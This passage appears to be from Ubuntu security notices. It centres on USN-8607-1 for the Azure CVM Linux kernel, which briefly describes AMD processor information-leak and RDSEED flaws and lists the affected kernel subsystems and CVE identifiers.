CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31436, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440,
CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448,
CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452,
CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476,
CVE-2026-31477, CVE-2026-31478, CVE-2026-31480, CVE-2026-31482,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488,
CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499,
CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505,
CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31607,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31637, CVE-2026-31638,
CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646,
CVE-2026-31648, CVE-2026-31649, CVE-2026-31651, CVE-2026-31655,
CVE-2026-31656, CVE-2026-31657, CVE-2026-31658, CVE-2026-31659,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31668, CVE-2026-31669,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31682,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31685, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31689, CVE-2026-31693, CVE-2026-31694,
CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698,
CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702,
CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707,
CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720,
CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724,
CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729,
CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767,
CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43007, CVE-2026-43011, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43037, CVE-2026-43038,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044,
CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056,
CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060,
CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43071,
CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075,
CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081,
CVE-2026-43082, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088,
CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093,
CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113,
CVE-2026-43114, CVE-2026-43117, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43123, CVE-2026-43124, CVE-2026-43128, CVE-2026-43129,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43137, CVE-2026-43139,
CVE-2026-43140, CVE-2026-43141, CVE-2026-43143, CVE-2026-43145,
CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43150,
CVE-2026-43152, CVE-2026-43153, CVE-2026-43156, CVE-2026-43157,
CVE-2026-43158, CVE-2026-43159, CVE-2026-43162, CVE-2026-43163,
CVE-2026-43167, CVE-2026-43168, CVE-2026-43169, CVE-2026-43170,
CVE-2026-43171, CVE-2026-43173, CVE-2026-43175, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43185,
CVE-2026-43186, CVE-2026-43187, CVE-2026-43189, CVE-2026-43190,
CVE-2026-43194, CVE-2026-43196, CVE-2026-43199, CVE-2026-43200,
CVE-2026-43201, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43212, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43258,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43265,
CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270,
CVE-2026-43271, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43278, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43288, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43297, CVE-2026-43300,
CVE-2026-43302, CVE-2026-43304, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43317,
CVE-2026-43318, CVE-2026-43319, CVE-2026-43320, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43341,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350,
CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360,
CVE-2026-43361, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43378, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43383, CVE-2026-43384, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405,
CVE-2026-43406, CVE-2026-43407, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43414,
CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421,
CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441,
CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455,
CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469,
CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484,
CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492,
CVE-2026-43493, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43499, CVE-2026-43501, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45847,
CVE-2026-45848, CVE-2026-45849, CVE-2026-45851, CVE-2026-45852,
CVE-2026-45855, CVE-2026-45856, CVE-2026-45857, CVE-2026-45858,
CVE-2026-45859, CVE-2026-45860, CVE-2026-45861, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45865, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45872, CVE-2026-45873, CVE-2026-45875, CVE-2026-45877,
CVE-2026-45878, CVE-2026-45879, CVE-2026-45880, CVE-2026-45881,
CVE-2026-45882, CVE-2026-45883, CVE-2026-45884, CVE-2026-45885,
CVE-2026-45886, CVE-2026-45890, CVE-2026-45891, CVE-2026-45893,
CVE-2026-45895, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45905, CVE-2026-45910, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45913, CVE-2026-45914, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45917, CVE-2026-45919, CVE-2026-45920, CVE-2026-45921,
CVE-2026-45923, CVE-2026-45924, CVE-2026-45928, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45938, CVE-2026-45941, CVE-2026-45942,
CVE-2026-45943, CVE-2026-45946, CVE-2026-45947, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45957, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45962, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45972,
CVE-2026-45973, CVE-2026-45974, CVE-2026-45976, CVE-2026-45978,
CVE-2026-45981, CVE-2026-45982, CVE-2026-45983, CVE-2026-45984,
CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45988,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46043,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46135, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46195, CVE-2026-46196,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200,
CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236,
CVE-2026-46238, CVE-2026-46241, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46246, CVE-2026-46247, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46251, CVE-2026-46253, CVE-2026-46254, CVE-2026-46255,
CVE-2026-46259, CVE-2026-46260, CVE-2026-46261, CVE-2026-46265,
CVE-2026-46266, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285,
CVE-2026-46286, CVE-2026-46287, CVE-2026-46289, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64034)


USN-8607-1: Linux kernel (Azure CVM) vulnerabilities
Fri, 24 Jul 2026 14:17:40 +0200
It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
